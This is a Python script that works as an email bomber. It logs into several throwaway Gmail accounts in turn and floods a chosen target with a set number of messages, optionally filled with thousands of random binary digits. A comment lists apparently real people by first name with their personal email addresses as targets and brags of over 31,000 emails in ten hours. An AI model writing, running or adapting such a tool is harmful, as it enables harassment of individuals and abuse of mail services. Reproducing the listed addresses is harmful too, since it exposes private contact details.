import smtplib
import sys
import time
from random import randint

'''
Email´s :

10 Hours of E-mail spam ~ >31000 E-mails

< KIM >
kim.philipp@icloud.com

< DAVID >
david.aksoy83@googlemail.com
david-aksoy83@gmx.com

< MEINE >
s.hawranke0601@gmail.com
s.hawranke0701@gmail.com
s.hawranke0801@gmail.com
email.spam1337@gmail.com
email.spam1336@gmail.com
email.spam1335@gmail.com
email.spam1334@gmail.com

'''


def email_send(my_email, counter, pw, email_target):
    which_email = 0
    amount_emails = int(input("Please enter the amount of e-mails you wanna send. \n"))
    print("- - - - - - - - - - - - - - - - - - - - ")
    email_message = input("Enter your email text message. [ Binary ]\n")
    print("- - - - - - - - - - - - - - - - - - - - ")

    '''writes an binary code in the email message'''
    if email_message == "binary":
        email_message = binary_message(email_message)


    ''' tracks the time '''
    start_time = time.time()
    while counter <= amount_emails:
        if which_email == 4:
            which_email = 0
        else:
            pass
        mail = smtplib.SMTP("smtp.gmail.com", 587)
        mail.ehlo()
        mail.starttls()
        mail.login(my_email[which_email], pw[0])
        mail.sendmail(my_email[which_email], email_target, str(email_message))
        print(counter, "email´s have already been sent")
        counter += 1
        which_email += 1
    now = time.time()
    time_difference = now - start_time
    print()
    print(amount_emails, "emails got successfully sent to", email_target, "it tooks %2f seconds." % (time_difference,))
    print("- - - - - - - - - - - - - - - - - - - - ")


def email_target_question():
    email_target_operation = input("Enter your target email [ David / Kim / Ich / spam acc]\n")
    print("- - - - - - - - - - - - - - - - - - - - ")
    if email_target_operation == "david":
        email_target_operation = ("david.aksoy83@googlemail.com")
    elif email_target_operation == "kim":
        email_target_operation = ("kim.philipp@icloud.com")
    elif email_target_operation == "ich":
        email_target_operation = ("s.hawranke0601@gmail.com")
    elif email_target_operation == "spam acc":
        email_target_operation = ("email.spam1337@gmail.com")
    else:
        pass
    return email_target_operation


def email_change(email_target, email_send, my_email, counter, pw, email_target_question):
    while program_stop == False:

        email_change_question = input("Do you wanna change the email ? [ Y / N / EXIT ]\n")
        print("- - - - - - - - - - - - - - - - - - - - ")

        if email_change_question == "y":
            email_target = email_target_question()
            email_send(my_email, counter, pw, email_target)

        elif email_change_question == "n":
            email_send(my_email, counter, pw, email_target)

        elif email_change_question == "exit":
            sys.exit(0)


def read_password_out_of_file(pw):

    ''' opens the .txt file as myfile '''
    with open("EmailPW.txt", "r") as my_file:
        ''' adds the password to the list '''
        for passwords in my_file:
            pw.append(passwords)
    return pw


def email_run(email_counter, email_target):
    while True:
        if len(email_counter) == 0:
            ''' First program loop '''
            email_target = email_target_question()
            email_send(my_email, counter, pw, email_target)
            email_counter.append(1)
            return email_counter
        else:
            ''' Second and last program loop '''
            email_change(email_target, email_send, my_email, counter, pw, email_target_question)


def binary_message(email_message):
    if email_message == "binary":
        binary_message = []
        for i in range(1, 10000):
            random_number = randint(0, 1)
            binary_message.append(str(random_number))
        email_message = binary_message[0:-1]
        return email_message
    else:
        pass




''' Beginning '''
if __name__ == "__main__":
    ''' creates an empty list '''
    pw = []
    email_target = None
    counter = 1
    email_counter = []


    ''' Emails comes From : '''
    my_email = ["email.spam1334@gmail.com", "email.spam1335@gmail.com", "email.spam1336@gmail.com", "email.spam1337@gmail.com"]


    ''' Gets the password out of the .txt file and saves it in a list '''
    read_password_out_of_file(pw)
    ''' Program start '''
    program_stop = False
    while not program_stop:
        email_run(email_counter, email_target)